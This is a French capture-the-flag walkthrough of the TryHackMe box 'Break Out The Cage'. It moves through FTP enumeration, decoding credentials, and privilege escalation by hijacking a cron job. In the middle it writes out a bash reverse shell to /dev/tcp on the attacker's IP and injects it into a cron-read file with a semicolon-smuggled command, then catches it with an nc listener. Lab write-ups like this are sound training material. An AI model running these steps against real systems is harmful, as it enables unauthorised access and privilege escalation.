Break Out The Cage est une box easy de TryHackMe qui fait appel à des connaissances basiques, comme l’énumération web, FTP, cypher…
Pour commencer, il faut faire un scan avec nmap pour voir quels sont les ports qui sont ouverts.
Commande :
nmap -sC -sV 10.10.205.178
L’accès à la page web sur le port 80, n’offre que peu d’information mise à part un possible nom d’utilisateur. Weston
L’accès au serveur FTP est possible avec le compte anonymous. Il permet de récupérer un fichier dad_tasks.
Commandes :
ftp 10.10.205.178
Pour voir le contenu du dossier courant :
ls -al
Pour télécharger le fichier dad_tasks :
get dad_tasks
Le fichier est encodée en base64. On peut le déchiffrer via le site cyberchef ou avec cette commande :
cat dad_tasks | base64 -d
Le résultat donne un résultat qui est aussi encodé, mais cette fois en Vigenère.
Pour le déchiffrer, on va passer par un autre site. www.guballa.de
La dernière ligne déchiffrer correspond au mot de passe. Étape suivante : connexion SSH
Commande :
ssh weston@10.10.205.178
Une fois connecté, il faut, comme toujours, faire la commande sudo -l pour voir quels sont les droits de l’utilisateur.
C’est un rabbit hole. Il y a bien un binaire /usr/bin/bees mais on ne peut pas le modifier. En revanche, il y a de manière régulière des messages qui s’affichent automatiquement dans le terminal.
Pour analyser ce qui se passe, il est possible d’utiliser un outil (pspy) en ligne de commande conçu pour espionner les processus sans avoir besoin d’autorisations root.
Commandes pour télécharger et utiliser pspy :
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
python3.9 -m http.server
Sur la machine cible ( l’IP correspond à celle de Kali ) :
wget http://10.11.38.124/pspy32
Sur la mahcine cible
chmod +x pspy32
./pspy32
Comme le montre la capture, il y a une cron job qui s’exécuté et elle est stockée dans /opt/.dads_scripts/
On a la possibilité de modifier le script. Donc on va créer un script shell qui va nous renvoyer un reverse shell lorsque la cron s’exécutera. Pour ça, on modifiera le script pour lui demander d’exécuter notre script.
Commande pour créer un script sans éditeur de texte :
cat > /tmp/rev.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/10.11.38.124/6666 0>&1
EOF
Attribution des droits d’exécution :
chmod +x /tmp/rev.sh
Modification de la cron job :
printf ‘cage;/tmp/rev.sh\n’ > /opt/.dads_scripts/.files/.quotes
Mise en place d’un écouteur nc :
nc -nlvp 6666
Après la réception du shell sur nc, on a changé d’utilisateur. Dans la mesure où le script s’exécute avec le compte cage, on est donc sur le compte cage.
Dans son dossier /home, on trouve un fichier Super_Duper_Checklist qui nous donne le 1er flag
On trouve aussi un dossier email backup dans lequel on trouve trois emails.
Bon là, ça a été un peu plus compliqué. Au milieu du mail, on a ce terme haiinspsyanileph . C’est encodé, et probablement avec du Vigenère. Le problème, c’est qu’il faut une clé pour le déchiffrer. En fait, c’est tout bête, la clé, c’est cage. J’ai mis du temps à le voir… Avec cyberchef, on peut le déchiffrer.
Avec le mot de passe, il suffit de faire su + le mot de passe.
#